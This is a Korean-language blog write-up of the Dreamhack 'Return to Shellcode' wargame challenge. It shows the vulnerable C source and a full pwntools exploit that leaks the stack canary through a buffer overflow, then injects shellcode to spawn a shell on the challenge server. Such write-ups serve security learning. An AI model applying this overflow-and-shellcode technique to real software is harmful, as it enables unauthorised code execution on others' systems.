Published on

[Dreamhack] Return to Shellcode 문제 풀이

Authors

문제 파악

일단 이 문제의 핵심은 canary이다. 하지만 canary의 Shellcode를 곁들인 느낌이다.

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

위에 이 코드는 이 문제의 소스코드인데 간단하다. NX가 걸려있지 않은 상태로 컴파일되는 형태이고, 첫번째 input에선 canary를 leak하고 두번째 input에선 shellcode와 더미값(SFP 포함) 그리고 leak했던 canary를 넣어주면 정상적으로 넘어갈 수 있는 문제다.

이제 문제 분석은 끝났으니 한번 익스를 짜보자

익스 코드 작성

from pwn import *

p = remote('host1.dreamhack.games', 22266)
#p = process('./r2s')

context.arch = 'amd64'

p.recvuntil(b'Address of the buf: ')
buf = int(p.recvline()[:-1], 16)
leak_canary = b'A'* (88+1) # null byte

pause()

p.recvuntil(b'Input: ')
p.send(leak_canary)
p.recvuntil(leak_canary)
canary = u64(b'\x00'+p.recvn(7))
print('canary: '+hex(canary))
print('buf: '+hex(buf))


shellcode = asm(shellcraft.sh())

payload = shellcode
payload += b'A' * (88-len(shellcode))
payload += p64(canary)
payload += b'B' * 8
payload += p64(buf)
p.sendlineafter(b'Input: ', payload)

p.interactive()

익스 코드는 위와 같다. 간단하게 설명해보겠다.

p.recvuntil(b'Address of the buf: ')
buf = int(p.recvline()[:-1], 16)
leak_canary = b'A'* (88+1) # null byte

pause()

p.recvuntil(b'Input: ')
p.send(leak_canary)
p.recvuntil(leak_canary)
canary = u64(b'\x00'+p.recvn(7))
print('canary: '+hex(canary))
print('buf: '+hex(buf))

이 파트는 문제파일에서 실행시 출력해주는 buf 주소 값과 BOF를 통해서 canary 값을 leak을 시킨다. buf의 주소 값은 추후 Shellcode를 넣고 나서 다시 되돌아갈 포인트이기에 중요하다. canary는 추후 Return Address Overwrite를 진행할때 canary 값이 깨지기에 이를 방지하고자 꼭 필요한 값이다.

하여튼 중요한 값을 두개를 추출한 뒤 이젠 다음 작업을 진행한다.

shellcode = asm(shellcraft.sh())

payload = shellcode
payload += b'A' * (88-len(shellcode))
payload += p64(canary)
payload += b'B' * 8
payload += p64(buf)
p.sendlineafter(b'Input: ', payload)

p.interactive()

이 파트는 Shellcode + Canary + SFP + buf 주소를 합쳐서 input 두 개에 값을 집어넣는다. 여태까지 포너블 문제를 풀어오면서 shellcraft를 처음 써보았다.

하여튼 shellcraft로 Shellcode를 만들어주고, 맨 앞엔 Shellcode, 그 뒤엔 Shellcode의 길이 만큼 뺀 더미 값, 좀전에 추출한 Canary, SFP에 들어갈 더미, 다시 돌아갈 buf 주소로 페이로드를 구성해주었다.

자 그러면 이제 익스를 날려보자.

익스플로잇!!

아~~~~주 잘되는 모습을 볼 수 있다 :)

느낀점

아잇,, 이거 페이로드 부분 짤 때 엄청 빡셌던 기억이 납니다. buf 길이가 계속 자기자리 못잡고 남의 자리를 침범해서 조금 짜증났었습니다. 뭐.. 그래도 요래요래 하다보니 풀리더군요. 갠적으로 이미 배운 부분하고 융합해서 같이 할 수 있다는게 정말 좋았습니다.